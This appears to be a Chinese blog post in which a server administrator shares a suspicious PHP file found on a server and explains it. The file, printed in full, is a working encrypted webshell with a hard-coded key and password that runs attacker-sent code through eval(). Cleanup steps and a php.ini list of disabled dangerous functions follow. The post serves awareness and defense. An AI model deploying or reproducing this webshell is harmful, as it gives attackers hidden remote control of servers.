前几天,收到某台服务器异常警告,在附件文件夹中发现了一个异常上传的php文件,和大家分享一下文件内容,注意服务器安全。
源代码文件名:e9b94bd64ae7e66c5988e07d29e21c3d.php
php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encryption($data, $mode,$key) {
$result = false;
$iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$blocksize = 16;
$size = strlen($data)%16;
if (function_exists("openssl_encrypt") && $mode<2) {
if ($mode == 1) {
$pad = $blocksize - (strlen($data) % $blocksize);
$data.= str_repeat(chr($pad), $pad);
$result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
} else if (!$size){
$result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
}
} else if (function_exists("mcrypt_encrypt")&&$mode<2) {
if ($mode == 1) {
$pad = $blocksize - (strlen($data) % $blocksize);
$data.= str_repeat(chr($pad), $pad);
$result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv);
} else if (!$size){
$result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv);
}
}
if (!$result)
{
$len = strlen($data);
$keyLen = strlen($key);
$index = 0;
for ($i = 1; $i <= $len; $i++) {
$index = $i - 1;
$data[$index] = $data[$index] ^ $key[($i % $keyLen)];
}
return $data;
}
if ($mode == 0) {
$pad = ord($result {
strlen($result) - 1
});
if ($pad > strlen($result)) return false;
if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false;
$result = substr($result, 0, -1 * $pad);
}
return $result;
}
$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
$data = base64_decode($_POST[$pass]);
if (isset($_SESSION[$payloadName])) {
$payload = encryption($_SESSION[$payloadName],0, $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encryption($_SESSION[$payloadName],0, $key);
}
$data = encryption($data,0, $key);
eval($payload);
echo substr(md5($pass.$key), 0, 16);
echo base64_encode(encryption(@run($data),1,$key));
echo substr(md5($pass.$key), 16);
} else {
$data = encryption($data,2,$key);
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encryption($data,1, $key);
}
}
}
这段代码是一个典型的 PHP WebShell(网页木马),用于远程控制服务器。它通过加密通信和会话存储实现隐蔽的代码执行。以下是详细分析:
核心功能
- 加密通信:使用 AES-128-ECB 对传输的数据进行加密,避免明文特征被检测
- 会话持久化 :将恶意代码(payload)存储在
$_SESSION中,实现无文件落地执行 - 动态代码执行 :通过
eval()执行攻击者发送的任意 PHP 代码 - 双向验证:通过 MD5 校验和确认通信完整性
代码流程解析
初始化
php
@session_start(); // 开启会话存储payload
@set_time_limit(0); // 取消执行时间限制
@error_reporting(0); // 屏蔽错误信息,隐藏痕迹
加密函数(关键)
php
function encryption($data, $mode, $key) {
// 优先使用 openssl,备选 mcrypt,最后降级为异或
// $mode: 0=解密, 1=加密, 2=异或解密
}
主逻辑
php
$pass = 'pass'; // 通信密码
$payloadName = 'payload'; // 会话变量名
$key = '3c6e0b8a9c15224a'; // 硬编码的16字节密钥
if (isset($_POST[$pass])) { // 接收POST参数"pass"
// 第一次请求:上传payload
if (!isset($_SESSION[$payloadName])) {
$data = encryption(base64_decode($_POST[$pass]), 2, $key);
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encryption($data, 1, $key); // 加密存入session
}
}
// 后续请求:执行命令
else {
$payload = encryption($_SESSION[$payloadName], 0, $key); // 从session解密payload
$data = encryption(base64_decode($_POST[$pass]), 0, $key); // 解密命令数据
eval($payload); // 执行payload
echo md5校验和 + base64_encode(加密结果) + md5校验和; // 返回加密数据
}
}
通信特征
请求示例:
http
POST /shell.php HTTP/1.1
pass=base64_encode(加密数据)
响应格式:
[前16位MD5][base64加密结果][后16位MD5]
典型用途
攻击者可利用此木马实现:
- 文件操作(上传/下载/删除)
- 命令执行(
system(),exec()) - 数据库操作
- 内网渗透
- 安装后门程序
安全警告
⚠️ 法律风险 :使用、传播或部署此类代码违反《网络安全法》等法规,可能导致刑事责任
⚠️ 检测难点 :加密流量+无文件特征,传统IDS/IPS难以检测
⚠️ 处置建议:
- 立即删除可疑文件
- 检查
$_SESSION存储路径清理残留 - 审计服务器访问日志
- 修改所有密码,排查系统漏洞
- 使用
php.ini禁用eval()等危险函数
防御措施
ini
; php.ini配置
disable_functions = eval,exec,shell_exec,system,passthru
open_basedir = /var/www/html
session.save_path = /tmp/sessions ; 限制session目录权限
该木马属于 "内存马" 的变种,通过加密和会话机制实现高级隐蔽性,是常见的网站攻击工具。